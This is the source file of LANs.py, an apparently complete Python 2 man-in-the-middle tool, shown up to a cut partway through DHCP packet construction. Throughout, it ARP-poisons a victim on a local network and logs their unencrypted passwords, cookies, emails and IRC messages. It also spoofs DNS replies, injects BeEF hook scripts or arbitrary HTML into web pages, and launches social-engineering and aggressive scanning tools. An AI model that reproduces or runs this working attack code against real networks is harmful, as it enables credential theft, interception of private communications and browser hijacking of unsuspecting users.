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LANs.py
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LANs.py
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#!/usr/bin/env python2
'''
Description: ARP poisons a LAN victim and prints all the interesting unencrypted info like usernames, passwords and messages. Asynchronous multithreaded arp spoofing packet parser.
Prerequisites: Linux
nmap (optional)
nbtscan (optional)
aircrack-ng
Python 2.6+
nfqueue-bindings 0.4-3
scapy
twisted
Note: This script flushes iptables before and after usage.
'''
__author__ = 'Dan McInerney'
__license__ = 'GPL'
__contact__ = 'danhmcinerney with gmail'
__version__ = 1.0
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
#Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
conf.checkIPaddr=0
from sys import exit
from threading import Thread
import argparse
from os import geteuid, devnull
import signal
from base64 import b64decode
from subprocess import *
from twisted.internet import reactor
from twisted.internet.interfaces import IReadDescriptor
from twisted.internet.protocol import Protocol, Factory
import nfqueue
from zlib import decompressobj, decompress
import gzip
from cStringIO import StringIO
#Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--beef", help="Inject a BeEF hook URL. Example usage: -b http://192.168.0.3:3000/hook.js")
parser.add_argument("-c", "--code", help="Inject arbitrary html. Example usage (include quotes): -c '<title>New title</title>'")
parser.add_argument("-u", "--urlspy", help="Show all URLs and search terms the victim visits or enters minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -v to print all URLs and without truncation.", action="store_true")
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning which would give you a list of possible targets. Usage: -ip <victim IP>")
parser.add_argument("-vmac", "--victimmac", help="Set the victim MAC; by default the script will attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-d", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-v", "--verboseURL", help="Shows all URLs the victim visits but doesn't limit the URL to 150 characters like -u does.", action="store_true")
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument. An argument like [facebook.com] will match all subdomains of facebook.com")
parser.add_argument("-set", "--setoolkit", help="Start Social Engineer's Toolkit in another window.", action="store_true")
parser.add_argument("-p", "--post", help="Print unsecured HTTP POST loads, IMAP/POP/FTP/IRC/HTTP usernames/passwords and incoming/outgoing emails. Will also decode base64 encrypted POP/IMAP username/password combos for you.", action="store_true")
parser.add_argument("-na", "--nmapaggressive", help="Aggressively scan the target for open ports and services in the background. Output to ip.add.re.ss.log.txt where ip.add.re.ss is the victim's IP.", action="store_true")
parser.add_argument("-n", "--nmap", help="Scan the target for open ports prior to starting to sniffing their packets.", action="store_true")
parser.add_argument("-i", "--interface", help="Choose the interface to use. Default is the first one that shows up in `ip route`.")
parser.add_argument("-rip", "--routerip", help="Set the router IP; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-rmac", "--routermac", help="Set the router MAC; by default the script with attempt a few different ways of getting this so this option hopefully won't be necessary")
parser.add_argument("-pcap", "--pcap", help="Parse through a pcap file")
args = parser.parse_args()
#Console colors
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
C = '\033[36m' # cyan
GR = '\033[37m' # gray
T = '\033[93m' # tan
logger = open('LANspy.log.txt', 'w+')
DN = open(devnull, 'w')
class Spoof():
def originalMAC(self, ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r.sprintf("%Ether.src%")
def poison(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
class Parser():
# Mail, irc, post parsing
OheadersFound = []
IheadersFound = []
IMAPauth = 0
IMAPdest = ''
POPauth = 0
POPdest = ''
Cookies = []
IRCnick = ''
mail_passwds = []
oldmailack = ''
oldmailload = ''
mailfragged = 0
# http parsing
oldHTTPack = ''
oldHTTPload = ''
HTTPfragged = 0
# html injection
block_acks = []
html_url = ''
user_agent = None
def start(self, payload):
if args.pcap:
if args.ipaddress:
try:
pkt = payload[IP]
except:
return
else:
try:
pkt = IP(payload.get_data())
except:
return
IP_layer = pkt[IP]
IP_dst = pkt[IP].dst
IP_src = pkt[IP].src
if args.urlspy or args.post or args.beef or args.code:
if pkt.haslayer(Raw):
if pkt.haslayer(TCP):
dport = pkt[TCP].dport
sport = pkt[TCP].sport
ack = pkt[TCP].ack
seq = pkt[TCP].seq
load = pkt[Raw].load
mail_ports = [25, 26, 110, 143]
if dport in mail_ports or sport in mail_ports:
self.mailspy(load, dport, sport, IP_dst, IP_src, mail_ports, ack)
if dport == 6667 or sport == 6667:
self.irc(load, dport, sport, IP_src)
if dport == 21 or sport == 21:
self.ftp(load, IP_dst, IP_src)
if dport == 80 or sport == 80:
self.http_parser(load, ack, dport)
if args.beef or args.code:
self.injecthtml(load, ack, pkt, payload, dport, sport)
if args.dnsspoof:
if pkt.haslayer(DNSQR):
dport = pkt[UDP].dport
sport = pkt[UDP].sport
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
if dport == 53 or sport == 53:
dns_layer = pkt[DNS]
self.dnsspoof(dns_layer, IP_src, IP_dst, sport, dport, localIP, payload)
def get_user_agent(self, header_lines):
for h in header_lines:
user_agentre = re.search('[Uu]ser-[Aa]gent: ', h)
if user_agentre:
return h.split(user_agentre.group(), 1)[1]
def injecthtml(self, load, ack, pkt, payload, dport, sport):
for x in self.block_acks:
if ack == x:
payload.set_verdict(nfqueue.NF_DROP)
return
ack = str(ack)
if args.beef:
bhtml = '<script src='+args.beef+'></script>'
if args.code:
chtml = args.code
try:
headers, body = load.split("\r\n\r\n", 1)
except:
headers = load
body = ''
header_lines = headers.split("\r\n")
if dport == 80:
post = None
get = self.get_get(header_lines)
host = self.get_host(header_lines)
self.html_url = self.get_url(host, get, post)
if self.html_url:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in self.html_url for i in d):
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
else:
payload.set_verdict(nfqueue.NF_ACCEPT)
return
self.user_agent = "'"+self.get_user_agent(header_lines)+"'"
if not self.user_agent:
# Most common user-agent on the internet
self.user_agent = "'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36'"
payload.set_verdict(nfqueue.NF_ACCEPT)
return
if sport == 80 and self.html_url and 'Content-Type: text/html' in headers:
for h in header_lines:
if '1.1 302' in h or '1.1 301' in h:
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
return
elif 'Transfer-Encoding: chunked' in h or 'transfer-encoding: chunked' in h:
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
return
# -O saves it to ~body in working dir, to speed it up -4 means only use IPv4 and --no-dns-cache speeds it up a little more
wget = Popen(['/usr/bin/wget', '-O', '/tmp/~body', '--no-dns-cache', '-4', '-U', self.user_agent, self.html_url], stdout=PIPE, stderr=DN)
wget.wait()
f = open('/tmp/~body', 'r')
body = f.read()
f.close
# INJECT
if args.beef:
if '<html' in body or '/html>' in body:
try:
psplit = body.split('</head>', 1)
body = psplit[0]+bhtml+'</head>'+psplit[1]
except:
try:
psplit = body.split('<head>', 1)
body = psplit[0]+'<head>'+bhtml+psplit[1]
except:
if not args.code:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
else:
pass
if args.code:
if '<html' in body or '/html>' in body:
try:
psplit = body.split('<head>', 1)
body = psplit[0]+'<head>'+chtml+psplit[1]
except:
try:
psplit = body.split('</head>', 1)
body = psplit[0]+chtml+'</head>'+psplit[1]
except:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
# Recompress data if necessary
if 'Content-Encoding: gzip' in headers:
if body != '':
try:
comp_body = StringIO()
f = gzip.GzipFile(fileobj=comp_body, mode='wb', compresslevel = 6)
f.write(body)
f.close()
body = comp_body.getvalue()
except:
try:
pkt[Raw].load = headers+"\r\n\r\n"+body
pkt[IP].len = len(str(pkt))
del pkt[IP].chksum
del pkt[TCP].chksum
payload.set_verdict(nfqueue.NF_DROP)
send(pkt)
print '[-] Could not recompress html, sent packet as is'
self.html_url = None
return
except:
self.html_url = None
payload.set_verdict(nfqueue.NF_ACCEPT)
return
pkt[Raw].load = headers+"\r\n\r\n"+body
pkt[IP].len = len(str(pkt))
del pkt[IP].chksum
del pkt[TCP].chksum
try:
send(pkt)
print R+'[!] Injected HTML into packet for '+W+self.html_url
logger.write('[!] Injected HTML into packet for '+self.html_url)
self.block_acks.append(ack)
payload.set_verdict(nfqueue.NF_DROP)
self.html_url = None
except:
payload.set_verdict(nfqueue.NF_ACCEPT)
self.html_url = None
print '[-] Failed to inject packet'
return
if len(self.block_acks) > 30:
self.block_acks = self.block_acks[5:]
def get_host(self, header_lines):
for l in header_lines:
searchHost = re.search('[Hh]ost: ', l)
if searchHost:
try:
return l.split('Host: ', 1)[1]
except:
try:
return l.split('host: ', 1)[1]
except:
return
def get_get(self, header_lines):
for l in header_lines:
searchGet = re.search('GET /', l)
if searchGet:
try:
return l.split('GET ')[1].split(' ')[0]
except:
return
def get_post(self, header_lines):
for l in header_lines:
searchPost = re.search('POST /', l)
if searchPost:
try:
return l.split(' ')[1].split(' ')[0]
except:
return
def get_url(self, host, get, post):
if host:
if post:
return host+post
if get:
return host+get
# Catch search terms
# As it stands now this has a moderately high false positive rate mostly due to the common ?s= and ?q= vars
# I figured better to err on the site of more data than less and it's easy to tell the false positives from the real searches
def searches(self, url, host):
# search, query, search?q, ?s, &q, ?q, search?p, searchTerm, keywords, command
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
if searched:
searched = searched.group(3)
# Common false positives
if 'select%20*%20from' in searched:
pass
if host == 'geo.yahoo.com':
pass
else:
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
print T+'[+] Searched '+W+host+T+': '+searched+W
logger.write('[+] Searched '+host+ ' for: '+searched+'\n')
def post_parser(self, url, body, host, header_lines):
if 'ocsp' in url:
print B+'[+] POST: '+W+url
logger.write('[+] POST: '+url+'\n')
elif body != '':
try:
urlsplit = url.split('/')
url = urlsplit[0]+'/'+urlsplit[1]
except:
pass
if self.HTTPfragged == 1:
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
else:
print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W
logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n')
# If you see any other login/pw variable names, tell me and I'll add em in here
# As it stands now this has a moderately high false positive rate; I figured better to err on the site of more data than less
# email, user, username, name, login, log, loginID
user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
# password, pass, passwd, pwd, psw, passwrd, passw
pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
username = re.findall(user_regex, body)
password = re.findall(pw_regex, body)
self.user_pass(username, password)
self.cookies(host, header_lines)
def http_parser(self, load, ack, dport):
load = repr(load)[1:-1]
# Catch fragmented HTTP posts
if dport == 80 and load != '':
if ack == self.oldHTTPack:
self.oldHTTPload = self.oldHTTPload+load
load = self.oldHTTPload
self.HTTPfragged = 1
else:
self.oldHTTPload = load
self.oldHTTPack = ack
self.HTTPfragged = 0
try:
headers, body = load.split(r"\r\n\r\n", 1)
except:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
host = self.get_host(header_lines)
get = self.get_get(header_lines)
post = self.get_post(header_lines)
url = self.get_url(host, get, post)
# print urls
if url:
#Print the URL
if args.verboseURL:
print '[*] '+url
logger.write('[*] '+url+'\n')
if args.urlspy:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
if any(i in url for i in d):
return
if len(url) > 146:
print '[*] '+url[:145]
logger.write('[*] '+url[:145]+'\n')
else:
print '[*] '+url
logger.write('[*] '+url+'\n')
# Print search terms
self.searches(url, host)
#Print POST load and find cookies
if args.post and post:
self.post_parser(url, body, host, header_lines)
def ftp(self, load, IP_dst, IP_src):
load = repr(load)[1:-1].replace(r"\r\n", "")
if 'USER ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'PASS ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'authentication failed' in load:
print R+'[*] FTP '+load+W
logger.write('[*] FTP '+load+'\n')
def irc(self, load, dport, sport, IP_src):
load = repr(load)[1:-1].split(r"\r\n")
if args.post:
if IP_src == victimIP:
if 'NICK ' in load[0]:
self.IRCnick = load[0].split('NICK ')[1]
server = load[1].replace('USER user user ', '').replace(' :user', '')
print R+'[!] IRC username: '+self.IRCnick+' on '+server+W
logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
if 'NS IDENTIFY ' in load[0]:
ircpass = load[0].split('NS IDENTIFY ')[1]
print R+'[!] IRC password: '+ircpass+W
logger.write('[!] IRC password: '+ircpass+'\n')
if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1]
print C+'[+] IRC joined: '+W+join
logger.write('[+] IRC joined: '+join+'\n')
if 'PART ' in load[0]:
part = load[0].split('PART ')[1]
print C+'[+] IRC left: '+W+part
logger.write('[+] IRC left: '+part+'\n')
if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1]
print C+'[+] IRC quit: '+W+quit
logger.write('[+] IRC quit: '+quit+'\n')
# Catch messages from the victim to an IRC channel
if 'PRIVMSG ' in load[0]:
if IP_src == victimIP:
load = load[0].split('PRIVMSG ')[1]
channel = load.split(' :', 1)[0]
ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '':
print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W
logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
else:
print C+'[+] IRC msg to '+W+channel+C+': '+ircmsg+W
logger.write('[+] IRC msg to '+channel+':'+ircmsg+'\n')
# Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '':
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
try:
load = load[0].split('PRIVMSG ')[1].split(' :', 1)
channel = load[0]
ircmsg = load[1]
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
except:
return
def cookies(self, host, header_lines):
for x in header_lines:
if 'Cookie:' in x:
if x in self.Cookies:
return
elif 'safebrowsing.clients.google.com' in host:
return
else:
self.Cookies.append(x)
print P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W
logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n')
def user_pass(self, username, password):
if username:
for u in username:
print R+'[!] Username found: '+u[1]+W
logger.write('[!] Username: '+u[1]+'\n')
if password:
for p in password:
if p[1] != '':
print R+'[!] Password: '+p[1]+W
logger.write('[!] Password: '+p[1]+'\n')
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
load = repr(load)[1:-1]
# Catch fragmented mail packets
if ack == self.oldmailack:
if load != r'.\r\n':
self.oldmailload = self.oldmailload+load
load = self.oldmailload
self.mailfragged = 1
else:
self.oldmailload = load
self.oldmailack = ack
self.mailfragged = 0
try:
headers, body = load.split(r"\r\n\r\n", 1)
except:
headers = load
body = ''
header_lines = headers.split(r"\r\n")
email_headers = ['Date: ', 'Subject: ', 'To: ', 'From: ']
# Find passwords
if dport in [25, 26, 110, 143]:
self.passwords(IP_src, load, dport, IP_dst)
# Find outgoing messages
if dport == 26 or dport == 25:
self.outgoing(load, body, header_lines, email_headers, IP_src)
# Find incoming messages
if sport in [110, 143]:
self.incoming(headers, body, header_lines, email_headers, sport, dport)
def passwords(self, IP_src, load, dport, IP_dst):
load = load.replace(r'\r\n', '')
if dport == 143 and IP_src == victimIP and len(load) > 15:
if self.IMAPauth == 1 and self.IMAPdest == IP_dst:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.IMAPauth = 0
self.IMAPdest = ''
return
print R+'[!] IMAP user and pass found: '+load+W
logger.write('[!] IMAP user and pass found: '+load+'\n')
self.mail_passwds.append(load)
self.decode(load, dport)
self.IMAPauth = 0
self.IMAPdest = ''
if "authenticate plain" in load:
self.IMAPauth = 1
self.IMAPdest = IP_dst
if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R+'[!] POP user and pass found: '+load+W
logger.write('[!] POP user and pass found: '+load+'\n')
self.mail_passwds.append(load)
self.decode(load, dport)
self.POPauth = 0
self.POPdest = ''
if 'AUTH PLAIN' in load:
self.POPauth = 1
self.POPdest = IP_dst
if dport == 26:
if 'AUTH PLAIN ' in load:
# Don't double output mail passwords
for x in self.mail_passwds:
if load in x:
self.POPauth = 0
self.POPdest = ''
return
print R+'[!] Mail authentication found: '+load+W
logger.write('[!] Mail authentication found: '+load+'\n')
self.mail_passwds.append(load)
self.decode(load, dport)
def outgoing(self, headers, body, header_lines, email_headers, IP_src):
if 'Message-ID' in headers:
for l in header_lines:
for x in email_headers:
if x in l:
self.OheadersFound.append(l)
# if date, from, to, in headers then print the message
if len(self.OheadersFound) > 3 and body != '':
if self.mailfragged == 1:
print O+'[!] OUTGOING MESSAGE (fragmented)'+W
logger.write('[!] OUTGOING MESSAGE (fragmented)\n')
for x in self.OheadersFound:
print O+' ',x+W
logger.write(' '+x+'\n')
print O+' Message:',body+W
logger.write(' Message:'+body+'\n')
else:
print O+'[!] OUTGOING MESSAGE'+W
logger.write('[!] OUTGOING MESSAGE\n')
for x in self.OheadersFound:
print O+' ',x+W
logger.write(' '+x+'\n')
print O+' Message:',body+W
logger.write(' Message:'+body+'\n')
self.OheadersFound = []
def incoming(self, headers, body, header_lines, email_headers, sport, dport):
message = ''
for l in header_lines:
for x in email_headers:
if x in l:
self.IheadersFound.append(l)
if len(self.IheadersFound) > 3 and body != '':
if "BODY[TEXT]" not in body:
try:
beginning = body.split(r"\r\n", 1)[0]
body1 = body.split(r"\r\n\r\n", 1)[1]
message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
except:
return
if message != '':
if self.mailfragged == 1:
print O+'[!] INCOMING MESSAGE (fragmented)'+W
logger.write('[!] INCOMING MESSAGE (fragmented)\n')
for x in self.IheadersFound:
print O+' '+x+W
logger.write(' '+x+'\n')
print O+' Message: '+message+W
logger.write(' Message: '+message+'\n')
else:
print O+'[!] INCOMING MESSAGE'+W
logger.write('[!] INCOMING MESSAGE\n')
for x in self.IheadersFound:
print O+' '+x+W
logger.write(' '+x+'\n')
print O+' Message: '+message+W
logger.write(' Message: '+message+'\n')
self.IheadersFound = []
def decode(self, load, dport):
decoded = ''
if dport == 25 or dport == 26:
try:
b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except:
pass
else:
try:
b64str = load
decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
except:
pass
# Test to see if decode worked
if '@' in decoded:
print R+'[!] Decoded:'+decoded+W
logger.write('[!] Decoded:'+decoded+'\n')
# Spoof DNS for a specific domain to point to your machine
def dnsspoof(self, dns_layer, IP_src, IP_dst, sport, dport, localIP, payload):
if args.dnsspoof:
if args.dnsspoof in dns_layer.qd.qname:
logger.write('[+] DNS request for '+args.dnsspoof+' found; dropping packet and injecting spoofed one to '+localIP+'\n')
payload.set_verdict(nfqueue.NF_DROP)
logger.write('[+] Dropped real DNS response. Injecting the spoofed packet sending victim to '+localIP+'\n')
p = IP(dst=IP_src, src=IP_dst)/UDP(dport=sport, sport=dport)/DNS(id=dns_layer.id, qr=1, aa=1, qd=dns_layer.qd, an=DNSRR(rrname=dns_layer.qd.qname, ttl=10, rdata=localIP))
send(p)
print G+'[!] Sent spoofed packet for '+W+args.dnsspoof
logger.write('[!] Sent spoofed packet for '+args.dnsspoof+'\n')
#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
class Queued(object):
def __init__(self):
self.q = nfqueue.queue()
self.q.set_callback(Parser().start)
self.q.fast_open(0, socket.AF_INET)
self.q.set_queue_maxlen(5000)
reactor.addReader(self)
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
print '[*] Flushed firewall and forwarded traffic to the queue; waiting for data'
def fileno(self):
return self.q.get_fd()
def doRead(self):
self.q.process_pending(20)
def connectionLost(self, reason):
reactor.removeReader(self)
def logPrefix(self):
return 'queued'
class active_users():
IPandMAC = []
start_time = time.time()
current_time = 0
monmode = ''
def pkt_cb(self, pkt):
if pkt.haslayer(Dot11):
pkt = pkt[Dot11]
if pkt.type == 2:
addresses = [pkt.addr1.upper(), pkt.addr2.upper(), pkt.addr3.upper()]
for x in addresses:
for y in self.IPandMAC:
if x in y[1]:
y[2] = y[2]+1
self.current_time = time.time()
if self.current_time > self.start_time+1:
self.IPandMAC.sort(key=lambda x: float(x[2]), reverse=True) # sort by data packets
os.system('/usr/bin/clear')
print ' IP Data'
for x in self.IPandMAC:
if len(x) == 3:
ip = x[0].ljust(10)
data = str(x[2]).rjust(8)
print ip, data
else:
ip = x[0].ljust(10)
data = str(x[2]).rjust(8)
print ip, data, x[3]
print '\n[*] Hit Ctrl-C at any time to stop and choose a victim IP'
self.start_time = time.time()
def users(self, IPprefix, routerIP):
print '[*] Running ARP scan to identify users on the network; this may take a minute...'
iplist = []
maclist = []
try:
nmap = Popen(['/usr/bin/nmap', '-sn', '192.168.1.*'], stdout=PIPE, stderr=DN)
nmap = nmap.communicate()[0]
nmap = nmap.splitlines()[2:-1]
except:
print '[-] Nmap ARP scan failed, is it nmap installed?'
for x in nmap:
#print x;
if 'Nmap' in x:
pieces = x.split()
nmapip = pieces[len(pieces)-1]
nmapip = nmapip.replace('(','').replace(')','')
print "adding nmapip:" + nmapip
iplist.append(nmapip)
if 'MAC' in x:
nmapmac = x.split()[2]
maclist.append(nmapmac)
zipped = zip(iplist, maclist)
self.IPandMAC = [list(item) for item in zipped]
print routerIP;
# Make sure router is caught in the arp ping
r = 0
for i in self.IPandMAC:
print i;
i.append(0)
if r == 0:
if routerIP == i[0]:
i.append('router')
routerMAC = i[1]
r = 1
if r == 0:
exit('[-] Router MAC not found. Exiting.')
# Do nbtscan for windows netbios names
print '[*] Running nbtscan to get Windows netbios names'
try:
nbt = Popen(['nbtscan', IPprefix], stdout=PIPE, stderr=DN)
nbt = nbt.communicate()[0]
nbt = nbt.splitlines()
nbt = nbt[4:]
except:
print '[-] nbtscan error, are you sure it is installed?'
for l in nbt:
try:
l = l.split()
nbtip = l[0]
nbtname = l[1]
except:
print '[-] Could not find any netbios names. Continuing without them'
if nbtip and nbtname:
for a in self.IPandMAC:
if nbtip in a[0]:
a.append(nbtname)
# Start monitor mode
print '[*] Enabling monitor mode'
try:
print '/usr/sbin/airmon-ng ' + 'start ' + '%s ' + interface
promiscSearch = Popen(['/usr/sbin/airmon-ng', 'start', '%s' % interface], stdout=PIPE, stderr=DN)
promisc = promiscSearch.communicate()[0]
monmodeSearch = re.search('monitor mode enabled on (.+)\)', promisc)
self.monmode = monmodeSearch.group(1)
except:
exit('[-] Enabling monitor mode failed, do you have aircrack-ng installed?')
sniff(iface=self.monmode, prn=self.pkt_cb, store=0)
#Print all the variables
def print_vars(DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
print "[*] Active interface: " + interface
print "[*] DHCP server: " + DHCPsrvr
print "[*] DNS server: " + dnsIP
print "[*] Local domain: " + local_domain
print "[*] Router IP: " + routerIP
print "[*] Victim IP: " + victimIP
logger.write("[*] Router IP: " + routerIP+'\n')
logger.write("[*] victim IP: " + victimIP+'\n')
#Enable IP forwarding and flush possibly conflicting iptables rules
def setup(victimMAC):
open('/proc/sys/net/ipv4/ip_forward', 'w').write('1\n')
print '[*] Enabled IP forwarding'
os.system('/sbin/iptables -F')
os.system('/sbin/iptables -X')
os.system('/sbin/iptables -t nat -F')
os.system('/sbin/iptables -t nat -X')
# Just throw packets that are from and to the victim into the reactor
os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('/sbin/iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
os.system('/sbin/iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,80,110,143,6667 -j NFQUEUE' % victimIP)
# To catch DNS packets you gotta do prerouting rather than forward for some reason?
os.system('/sbin/iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
# Start threads
def threads():
rt = Thread(target=reactor.run, args=(False,)) #reactor must be started without signal handling since it's not in the main thread
rt.daemon = True
rt.start()
if args.driftnet:
dr = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/driftnet -i '+interface+' >/dev/null 2>&1',))
dr.daemon = True
dr.start()
if args.dnsspoof and not args.setoolkit:
setoolkit = raw_input('[*] You are DNS spoofing '+args.dnsspoof+', would you like to start the Social Engineer\'s Toolkit for easy exploitation? [y/n]: ')
if setoolkit == 'y':
print '[*] Starting SEtoolkit. To clone '+args.dnsspoof+' hit options 1, 2, 3, 2, then enter '+args.dnsspoof
try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True
se.start()
except:
print '[-] Could not open SEToolkit, is it installed? Continuing as normal without it.'
if args.nmapaggressive:
print '[*] Starting '+R+'aggressive scan [nmap -T4 -A -v -Pn -oN '+victimIP+']'+W+' in background; results will be in a file '+victimIP+'.nmap.txt'
try:
n = Thread(target=os.system, args=('nmap -T4 -A -v -Pn -oN '+victimIP+'.nmap.txt '+victimIP+' >/dev/null 2>&1',))
n.daemon = True
n.start()
except:
print '[-] Aggressive Nmap scan failed, is nmap installed?'
if args.setoolkit:
print '[*] Starting SEtoolkit'
try:
se = Thread(target=os.system, args=('/usr/bin/xterm -e /usr/bin/setoolkit >/dev/null 2>&1',))
se.daemon = True
se.start()
except:
print '[-] Could not open SEToolkit, continuing without it.'
def pcap_handler():
global victimIP
bad_args = [args.dnsspoof, args.beef, args.code, args.nmap, args.nmapaggressive, args.driftnet, args.interface]
for x in bad_args:
if x:
sys.exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
if args.pcap:
if args.ipaddress:
victimIP = args.ipaddress
pcap = rdpcap(args.pcap)
for payload in pcap:
Parser().start(payload)
sys.exit('[-] Finished parsing pcap file')
else:
sys.exit('[-] Please include the following arguement when reading from a pcap file: -ip [target\'s IP address]')
else:
sys.exit('[-] When reading from pcap file you may only include the following arguments: -v, -u, -p, -pcap [pcap filename], and -ip [victim IP address]')
# Main loop
def main():
global victimIP, interface
if args.pcap:
pcap_handler()
sys.exit('[-] Finished parsing pcap file')
#Check if root
if not geteuid()==0:
exit("\nPlease run as root\n")
#Find the gateway and interface
ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
ipr = ipr.communicate()[0]
iprs = ipr.split('\n')
for route in range(1,len(iprs)):
iprs[route]=iprs[route].split()
ipr = repr(ipr).split(' ')
if args.routerip:
routerIP = args.routerip
else:
routerIP = ipr[2]
IPprefix = ipr[8][2:]
if args.interface:
interface = args.interface
else:
interface = ipr[4]
for ip in iprs:
for i in ip:
if i == interface:
IPprefix=ip[0]
break
if args.ipaddress:
victimIP = args.ipaddress
else:
au = active_users()
au.users(IPprefix, routerIP)
print '\n[*] Turning off monitor mode'
os.system('/usr/sbin/airmon-ng stop %s >/dev/null 2>&1' % au.monmode)
victimIP = raw_input('[*] Enter the non-router IP to spoof: ')
print "[*] Checking the DHCP and DNS server addresses..."
# DHCP is a pain in the ass to craft
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src="0.0.0.0",dst="255.255.255.255")/
UDP(sport=68,dport=67)/
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
DHCP(options=[("message-type","discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
